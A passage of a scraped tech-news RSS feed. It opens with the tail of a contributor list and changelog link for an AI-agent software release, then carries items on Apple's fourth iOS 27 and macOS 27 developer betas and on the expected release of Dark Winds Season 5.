class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dodo-reach/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dodo-reach">@dodo-reach</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doncazper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doncazper">@doncazper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorokuma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorokuma">@dorokuma</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doxe0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doxe0x">@doxe0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EdderTalmor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EdderTalmor">@EdderTalmor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/elashera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/elashera">@elashera</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elektrofussel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elektrofussel">@Elektrofussel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emo-eth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emo-eth">@emo-eth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enzo-adami/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enzo-adami">@enzo-adami</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Epoxidex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Epoxidex">@Epoxidex</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esthonjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esthonjr">@esthonjr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evefromwayback/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evefromwayback">@evefromwayback</a>, @evelynburger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/F4TB0Yz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/F4TB0Yz">@F4TB0Yz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falkoro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falkoro">@falkoro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fanyangCS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fanyangCS">@fanyangCS</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
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<title><![CDATA[Apple starts round four of its iOS 27, macOS 27 developer betas]]></title>
<description><![CDATA[Apple is moving on with its developer beta program, with new fourth builds of iOS 27, macOS 27, tvOS 27, watchOS 27, visionOS 27, and iPadOS 27 now undergoing testing.An earlier iOS 27 beta screenThe fourth round is here, and participants in Apple's developer program can download the new builds t...]]></description>
<link>https://tsecurity.de/de/3681839/ios-mac-os/apple-starts-round-four-of-its-ios-27-macos-27-developer-betas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681839/ios-mac-os/apple-starts-round-four-of-its-ios-27-macos-27-developer-betas/</guid>
<pubDate>Mon, 20 Jul 2026 19:25:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is moving on with its developer beta program, with new fourth builds of <a href="https://appleinsider.com/inside/ios-27" title="iOS 27" data-kpt="1">iOS 27</a>, macOS 27, tvOS 27, watchOS 27, visionOS 27, and iPadOS 27 now undergoing testing.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68056-143709-67884-143086-ios27devbeta1-xl-xl.jpg" alt="Close-up of an iPhone screen on the Software Update page, showing iOS 17 beta update details with description text and a prominent blue Update Now button at the bottom" height="738"><br><span>An earlier iOS 27 beta screen</span></div><br>The fourth round is here, and participants in Apple's developer program can download the new builds to their devices right now.<br><br>The third developer builds arrived on <a href="https://appleinsider.com/articles/26/07/06/apple-rolls-out-the-third-ios-27-macos-27-developer-betas">July 6</a>, while the second occurred on <a href="https://appleinsider.com/articles/26/06/22/second-developer-betas-of-ios-27-macos-27-are-out">June 22</a> for most of the operating systems. The <a href="https://appleinsider.com/inside/watchos-27" title="watchOS 27" data-kpt="1">watchOS 27</a> counterparts landed later, on <a href="https://appleinsider.com/articles/26/06/23/apple-rolls-out-watchos-27-beta-2-for-apple-watch">June 23</a> and <a href="https://appleinsider.com/articles/26/06/23/apple-rolls-out-watchos-27-beta-2-for-apple-watch">June 25.</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/20/apple-starts-round-four-of-its-ios-27-macos-27-developer-betas?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245004?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Dark Winds Season 5: Release Date, Cast, Story, and Netflix Release Predictions]]></title>
<description><![CDATA[Dark Winds Season 5 is officially moving forward, giving viewers another mystery involving Joe Leaphorn, Jim Chee, and Bernadette Manuelito. AMC has confirmed the new season for 2027, although its exact premiere date remains unannounced.



The renewal arrived before Season 4 premiered, showing A...]]></description>
<link>https://tsecurity.de/de/3681838/ios-mac-os/dark-winds-season-5-release-date-cast-story-and-netflix-release-predictions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681838/ios-mac-os/dark-winds-season-5-release-date-cast-story-and-netflix-release-predictions/</guid>
<pubDate>Mon, 20 Jul 2026 19:25:01 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dark Winds Season 5 is officially moving forward, giving viewers another mystery involving Joe Leaphorn, Jim Chee, and Bernadette Manuelito. AMC has confirmed the new season for 2027, although its exact premiere date remains unannounced.



The renewal arrived before Season 4 premiered, showing AMC’s continued confidence in the crime drama. Season 5 began production in Santa Fe, New Mexico, in March 2026 and will contain eight hour-long episodes.




AMC release window: Sometime in 2027



Netflix release window: Likely mid-to-late 2027



Episode count: Eight episodes



Genre: Crime drama, mystery, psychological thriller and neo-Western




AMC has not announced whether Season 5 will arrive early in 2027 or later in the year. Since Season 4 premiered on AMC and AMC+ on February 15, 2026, another February or March launch appears possible if production remains on schedule.



When could Dark Winds Season 5 come to Netflix?



Netflix has not confirmed a Season 5 release date. However, the platform’s handling of Season 4 gives us a useful timeline.



Season 4 completed its AMC run on April 5, 2026, before arriving on Netflix in the United States on July 4, 2026. That placed the Netflix release roughly three months after the AMC finale.



Should AMC follow a similar arrangement, Dark Winds Season 5 could reach Netflix around three months after its television finale. A spring 2027 AMC premiere would therefore point toward a summer or early autumn Netflix release.



This remains an estimate because streaming agreements can change between seasons. AMC and AMC+ will receive the episodes first.



What will happen in Season 5?



Spoilers ahead for the Dark Winds Season 4 finale.



Season 4 followed Leaphorn, Chee, and Manuelito as they searched for missing Navajo teenager Billie Tsosie. The investigation took them from the Navajo Nation to 1970s Los Angeles, where they uncovered an organized crime operation and crossed paths with Irene Vaggan.



Leaphorn eventually escaped Irene’s bunker and helped rescue Billie. However, the finale ended with a new mystery when Sheriff Gordo Sena was found murdered. His death will likely become the central investigation of Season 5.



The case could also bring the main characters back together professionally. Leaphorn had considered leaving the Navajo Tribal Police, while Chee and Manuelito were both facing decisions about their careers and relationship.



Dark Winds Season 5 cast additions



Zahn McClarnon will return as Joe Leaphorn, alongside Kiowa Gordon as Jim Chee and Jessica Matten as Bernadette Manuelito.



Paola Núñez and Martin Sensmeier have joined Season 5 as series regulars. Noel Fisher, Devin Sampson-Craig and John Patrick Jordan will appear in recurring roles, although AMC has shared limited information about their characters and involvement in the new mystery.



Dark Winds Season 5 already has a major unresolved murder, several new characters and important decisions ahead for its central trio. Until AMC announces a firm premiere date, viewers can watch the previous seasons on AMC+ and Netflix.



What do you think happened to Gordo Sena, and where should Leaphorn’s investigation take him next? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Microsoft is moving another Outlook feature behind a Copilot paywall]]></title>
